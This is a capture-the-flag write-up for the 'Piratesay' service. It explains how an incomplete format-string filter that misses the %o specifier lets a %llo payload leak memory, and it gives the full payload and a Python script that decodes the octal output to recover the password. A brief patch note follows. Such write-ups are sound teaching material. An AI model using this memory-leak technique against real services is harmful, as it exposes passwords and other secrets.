Piratesay writeup (vuln 1)

Piratesay challenge originaly form bambi ctf. this is only the first of 2 vulnerabilities.

Piratesay

When connecting, you enter a kind of bash shell, where you can use basic commands to navigate and read/write files. You also get a random identity every session, but that is only important to the second vulnerability.

commands:

The Official Pirate Codex:
  scout [destination] - Search current or desired destination for items
  sail [destination] - Set sail for a new destination
  bury - bury treasure for others to find at your destination
  loot [item] - Grab the contents of an item at your destination
  identity - manage your pirate identity 
  codex - Display this pirate codex
  dock - Dock your ship and leave Pirate Say
  • ls -> scout
  • cd -> sail
  • help -> codex
  • exit -> dock
  • help -> codex
  • read -> loot
  • write -> bury

Vulnerability one

If you input a wrong password when looting treasure the password you gave get’s read back to you: ![[Pasted image 20260710230455.png]] This Clean_from_formatstrings function that checks on format strings, but not for ‘o’ (used for octal), so we can use that to leak memory (and the password) Binja.png

so for this exploit the payload is %llo, the ’ll’ part stands for'long long' and the 'o' for octal:

%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|%llo|

we have to keep in mind the octal when searching for the password:

import re

def get_password_from_line(line):
    response = line.split("is wrong,")[0][0:-1].strip().split("|")

    total = b""

    for i in range(len(response)):
        if response[i] == "":
            continue
        total += (int(response[i], 8).to_bytes(8, byteorder='little'))

    print(total)

    # \x00(\w*?)\x00ssword:\n
    password = re.search(b"\x00(\\w*?)\x00ssword:\n", total).group(1)

    return password

patch

to patch this you can just replace the %s in the binary with normal characters: Diff-pached.png